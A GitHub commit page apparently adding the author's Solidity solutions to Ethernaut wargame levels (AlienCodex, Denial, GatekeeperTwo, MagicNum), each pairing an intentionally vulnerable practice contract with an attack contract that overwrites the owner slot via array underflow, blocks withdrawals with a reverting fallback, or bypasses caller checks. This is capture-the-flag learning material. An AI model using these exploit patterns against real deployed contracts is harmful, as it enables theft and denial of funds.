generated from foundry-rs/foundry-rust-template
-
Notifications
You must be signed in to change notification settings - Fork 0
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
Showing
215 changed files
with
15,828 additions
and
413 deletions.
There are no files selected for viewing
Some generated files are not rendered by default. Learn more about how customized files appear on GitHub.
Oops, something went wrong.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,48 @@ | ||
// SPDX-License-Identifier: MIT | ||
pragma solidity ^0.5.0; | ||
|
||
import "../../../ctf/contracts/ethernaut/helpers/Ownable-05.sol"; | ||
|
||
contract AlienCodex is Ownable { | ||
bool public contact; | ||
bytes32[] public codex; | ||
|
||
modifier contacted() { | ||
assert(contact); | ||
_; | ||
} | ||
|
||
function makeContact() public { | ||
contact = true; | ||
} | ||
|
||
function record(bytes32 _content) public contacted { | ||
codex.push(_content); | ||
} | ||
|
||
function retract() public contacted { | ||
codex.length--; | ||
} | ||
|
||
function revise(uint256 i, bytes32 _content) public contacted { | ||
codex[i] = _content; | ||
} | ||
} | ||
|
||
contract HumanIsStronger { | ||
address public owner; | ||
AlienCodex original; | ||
|
||
constructor(address payable _to) public { | ||
owner = msg.sender; | ||
original = AlienCodex(_to); | ||
} | ||
|
||
uint256 overflow = uint256(-1) - uint256(keccak256(abi.encode(1))) + 1; | ||
|
||
function boom(address offender) public { | ||
original.makeContact(); | ||
original.retract(); | ||
original.revise(overflow, bytes32(uint256(uint160(offender)))); | ||
} | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,65 @@ | ||
// SPDX-License-Identifier: MIT | ||
pragma solidity ^0.8.0; | ||
|
||
/** | ||
* @title Ethernaut Level 20: Denial | ||
* | ||
* This is a simple wallet that drips funds over time. You can withdraw the | ||
* funds slowly by becoming a withdrawing partner. | ||
* | ||
* If you can deny the owner from withdrawing funds when they call withdraw() | ||
* (whilst the contract still has funds, and the transaction is of 1M gas or less) | ||
* you will win this level. | ||
*/ | ||
contract Denial { | ||
address public partner; // withdrawal partner - pay the gas, split the withdraw | ||
address public constant owner = address(0xA9E); | ||
uint256 timeLastWithdrawn; | ||
mapping(address => uint256) withdrawPartnerBalances; // keep track of partners balances | ||
|
||
function setWithdrawPartner(address _partner) public { | ||
partner = _partner; | ||
} | ||
|
||
// withdraw 1% to recipient and 1% to owner | ||
function withdraw() public { | ||
uint256 amountToSend = address(this).balance / 100; | ||
// perform a call without checking return | ||
// The recipient can revert, the owner will still get their share | ||
partner.call{value: amountToSend}(""); | ||
payable(owner).transfer(amountToSend); | ||
// keep track of last withdrawal time | ||
timeLastWithdrawn = block.timestamp; | ||
withdrawPartnerBalances[partner] += amountToSend; | ||
} | ||
|
||
// allow deposit of funds | ||
receive() external payable {} | ||
|
||
// convenience function | ||
function contractBalance() public view returns (uint256) { | ||
return address(this).balance; | ||
} | ||
} | ||
|
||
contract InfiniteCalculation { | ||
address public owner; | ||
Denial original; | ||
|
||
constructor(address payable _to) { | ||
owner = msg.sender; | ||
original = Denial(_to); | ||
} | ||
|
||
function boom() public { | ||
original.setWithdrawPartner(address(this)); | ||
} | ||
|
||
fallback() external payable { | ||
assembly { | ||
invalid() | ||
} | ||
} | ||
|
||
receive() external payable {} | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,42 @@ | ||
// SPDX-License-Identifier: MIT | ||
pragma solidity ^0.8.0; | ||
|
||
contract GatekeeperTwo { | ||
address public entrant; | ||
|
||
modifier gateOne() { | ||
require(msg.sender != tx.origin); | ||
_; | ||
} | ||
|
||
modifier gateTwo() { | ||
uint256 x; | ||
assembly { | ||
x := extcodesize(caller()) | ||
} | ||
require(x == 0); | ||
_; | ||
} | ||
|
||
modifier gateThree(bytes8 _gateKey) { | ||
require(uint64(bytes8(keccak256(abi.encodePacked(msg.sender)))) ^ uint64(_gateKey) == type(uint64).max); | ||
_; | ||
} | ||
|
||
function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) { | ||
entrant = tx.origin; | ||
return true; | ||
} | ||
} | ||
|
||
contract LetMeInAgain { | ||
address public owner; | ||
GatekeeperTwo public original; | ||
|
||
constructor(address payable _to) { | ||
owner = msg.sender; | ||
bytes8 key = bytes8(keccak256(abi.encodePacked(this))) ^ 0xFFFFFFFFFFFFFFFF; //^ type(uint64).max | ||
original = GatekeeperTwo(_to); | ||
original.enter(key); | ||
} | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,53 @@ | ||
// SPDX-License-Identifier: MIT | ||
pragma solidity ^0.8.0; | ||
|
||
contract MagicNum { | ||
address public solver; | ||
|
||
constructor() {} | ||
|
||
function setSolver(address _solver) public { | ||
solver = _solver; | ||
} | ||
|
||
/* | ||
____________/\\\_______/\\\\\\\\\_____ | ||
__________/\\\\\_____/\\\///////\\\___ | ||
________/\\\/\\\____\///______\//\\\__ | ||
______/\\\/\/\\\______________/\\\/___ | ||
____/\\\/__\/\\\___________/\\\//_____ | ||
__/\\\\\\\\\\\\\\\\_____/\\\//________ | ||
_\///////////\\\//____/\\\/___________ | ||
___________\/\\\_____/\\\\\\\\\\\\\\\_ | ||
___________\///_____\///////////////__ | ||
*/ | ||
} | ||
|
||
contract N { | ||
//function whatIsTheMeaningOfLife() public returns(uint){ | ||
// return 42; | ||
// заменяем на ассемблер | ||
// assembly { | ||
// mstore(0x00, 0x2a) // 42 в нулевой ячейке памяти | ||
// return(0x00, 0x20) // возвращает из нулевой ячейки памяти хуйню длинны 0x20 (тридцать два) | ||
// } | ||
//} | ||
// 0x60 -- пушит в память | ||
// 0x52 -- запоминает в память | ||
// 0xF3 -- ретёрн, ёпта | ||
// | ||
// 0x602a -- пушу 42 в память | ||
// 0x6000 -- пушу место в памяти | ||
// 0x52 -- запоминаю эту команду | ||
// 0x6020 -- пушу размер куска памяти c числом (32) | ||
// 0x6000 -- пушу место в памяти (0) | ||
// 0xF3 -- возвращаю все это | ||
// 0x602a60005260206000f3 -- итог (ровно 10 байт, ёпта) | ||
// | ||
constructor() { | ||
assembly { | ||
mstore(0x00, 0x602a60005260206000f3) // пушу всю команду в память | ||
return(0x00, 0x0a) //возвращаю команду | ||
} | ||
} | ||
} |
Oops, something went wrong.